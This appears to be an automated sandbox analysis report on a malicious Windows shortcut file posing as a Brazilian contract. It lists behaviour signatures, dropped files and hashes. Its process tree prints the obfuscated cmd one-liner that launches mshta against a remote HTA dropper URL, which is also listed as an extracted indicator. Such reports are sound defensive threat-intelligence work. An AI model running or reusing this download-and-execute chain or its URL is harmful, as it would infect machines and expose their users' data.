Analysis

  • max time kernel
    68s
  • max time network
    157s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    03/08/2026, 12:43

General

  • Target
    Contrato_Indeniza_Brasil-KCTX9O.lnk
  • Size 1KB
  • Sample260803-pydpyabk21
  • SHA256 eecdfae0bbc8bf323b0988b8d65f5d5056c94550a055997c547cc6c077e2f523
  • MD5 SHA1 SHA512 TLSH

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    https://aglobaconvite.com/h/estagio1.php?r=271E62FD4093CD4D6D

Signatures

  • Badlisted process makes network request 8 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 3 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Modifies Internet Explorer settings 1 TTPs 8 IoCs
  • Modifies registry class 17 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Script User-Agent 1 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious use of FindShellTrayWindow 4 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy WMI provider

    The Volume Shadow Copy service is used to manage backups/snapshots.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\Contrato_Indeniza_Brasil-KCTX9O.lnk
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:4904
    • C:\WINDOWS\system32\cmd.exe
      "C:\WINDOWS\system32\cmd.exe" /v:on /c "set uwGbg=msh&&set nsmy=ta&&start "" !uwGbg!!nsmy! https://aglobaconvite.com/h/estagio1.php?r=271E62FD4093CD4D6D"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:4716
      • C:\Windows\System32\mshta.exe
        mshta https://aglobaconvite.com/h/estagio1.php?r=271E62FD4093CD4D6D
        3⤵
        • Badlisted process makes network request
        • Suspicious use of WriteProcessMemory
        PID:3836
        • C:\Windows\System32\rundll32.exe
          "C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 8
          4⤵
          • Modifies Internet Explorer settings
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of WriteProcessMemory
          PID:5428
          • C:\Windows\system32\rundll32.exe
            C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:0000000000000000
            5⤵
            • Modifies registry class
            PID:2428
        • C:\Windows\System32\rundll32.exe
          "C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 8
          4⤵
          • Modifies Internet Explorer settings
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of WriteProcessMemory
          PID:6132
          • C:\Windows\system32\rundll32.exe
            C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:0000000000000000
            5⤵
            • Modifies registry class
            PID:3708
        • C:\Windows\System32\rundll32.exe
          "C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 8
          4⤵
          • Modifies Internet Explorer settings
          • Suspicious use of FindShellTrayWindow
          PID:4008
          • C:\Windows\system32\rundll32.exe
            C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:0000000000000000
            5⤵
              PID:2272
          • C:\Windows\System32\rundll32.exe
            "C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 8
            4⤵
            • Modifies Internet Explorer settings
            • Suspicious use of FindShellTrayWindow
            PID:5056
            • C:\Windows\system32\rundll32.exe
              C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:0000000000000000
              5⤵
                PID:4196
            • C:\Windows\System32\attrib.exe
              "C:\Windows\System32\attrib.exe" +h +s "C:\vcmdpciv\"
              4⤵
              • Views/modifies file attributes
              PID:1132
            • C:\vcmdpciv\vcmdpciv.exe
              "C:\vcmdpciv\vcmdpciv.exe" C:\vcmdpciv\vcmdpciv
              4⤵
                PID:5912
              • C:\Windows\System32\rundll32.exe
                "C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 8
                4⤵
                  PID:2308
                  • C:\Windows\system32\rundll32.exe
                    C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:0000000000000000
                    5⤵
                      PID:1352
                  • C:\Windows\System32\cmd.exe
                    "C:\Windows\System32\cmd.exe" /c ping -n 300 -w 1000 127.0.0.1 >nul
                    4⤵
                    • Executes a command shell one-liner
                    • System Network Configuration Discovery: Internet Connection Discovery
                    PID:3308
                    • C:\Windows\System32\PING.EXE
                      ping -n 300 -w 1000 127.0.0.1
                      5⤵
                      • System Network Configuration Discovery: Internet Connection Discovery
                      • Runs ping.exe
                      PID:3124

            Network

                  MITRE ATT&CK Enterprise v16

                  Replay Monitor

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                  Downloads

                  22D536C4B4AD2CEF7AC6B7789FD235E3

                  • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\22D536C4B4AD2CEF7AC6B7789FD235E3
                  • Size 283B
                  • SHA256 251ed08cc8f5873098ea5ee083034e7cd99ece955920e12a42e50306a94cb6eb
                  • MD5 SHA1 SHA512 TLSH

                  9DD9D8EB1173CB9DA0F6DAA87673F76F

                  • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\9DD9D8EB1173CB9DA0F6DAA87673F76F
                  • Size 35KB
                  • SHA256 7a428311e98280aff08b814fe3c5549da2fa2cfdb1bd0e27096068db79211ac8
                  • MD5 SHA1 SHA512 SSDEEP TLSH

                  22D536C4B4AD2CEF7AC6B7789FD235E3

                  • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\22D536C4B4AD2CEF7AC6B7789FD235E3
                  • Size 192B
                  • SHA256 f38282448b44f3b22d638ee8b7c651488949274dc7a604d9cf2cffa1a8c47a81
                  • MD5 SHA1 SHA512 TLSH

                  9DD9D8EB1173CB9DA0F6DAA87673F76F

                  • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\9DD9D8EB1173CB9DA0F6DAA87673F76F
                  • Size 246B
                  • SHA256 6311b092e18b1882439a924835aca1da3d8e7aeed08ae229fb424b25a1d3ee62
                  • MD5 SHA1 SHA512 TLSH

                  a1.zip

                  • Path C:\vcmdpciv\a1.zip
                  • Size 494KB
                  • SHA256 42890ce63cec59273230cfb5f61476a4da244f57ed7f38f61eed5ea904f59d80
                  • MD5 SHA1 SHA512 SSDEEP TLSH

                  a2.zip

                  • Path C:\vcmdpciv\a2.zip
                  • Size 1.3MB
                  • SHA256 9085bea8765e21fd29f90e47ad99e0e2f63bc23f429f9c2f8d67cecb8871c8a7
                  • MD5 SHA1 SHA512 SSDEEP TLSH

                  a3.zip

                  • Path C:\vcmdpciv\a3.zip
                  • Size 2KB
                  • SHA256 a9962270d602ecafd52b99436b6cbcabfa18e0be00c543707767e01e50042b1b
                  • MD5 SHA1 SHA512 TLSH

                  vcmdpciv

                  • Path C:\vcmdpciv\vcmdpciv
                  • Size 1.3MB
                  • SHA256 30af0a4b9b7c7d8cf41c169be3d51c03d9dabd0c18ed699b31850b618b5db55e
                  • MD5 SHA1 SHA512 SSDEEP TLSH

                  vcmdpciv.exe

                  • Path C:\vcmdpciv\vcmdpciv.exe
                  • Size 957KB
                  • SHA256 bdd2b7236a110b04c288380ad56e8d7909411da93eed2921301206de0cb0dda1
                  • MD5 SHA1 SHA512 SSDEEP TLSH

                  memory/2308-121-0x0000021200290000-0x000002120045A000-memory.dmp

                  memory/3836-104-0x000001A782790000-0x000001A78295A000-memory.dmp

                  memory/5912-113-0x0000000000400000-0x00000000005C7000-memory.dmp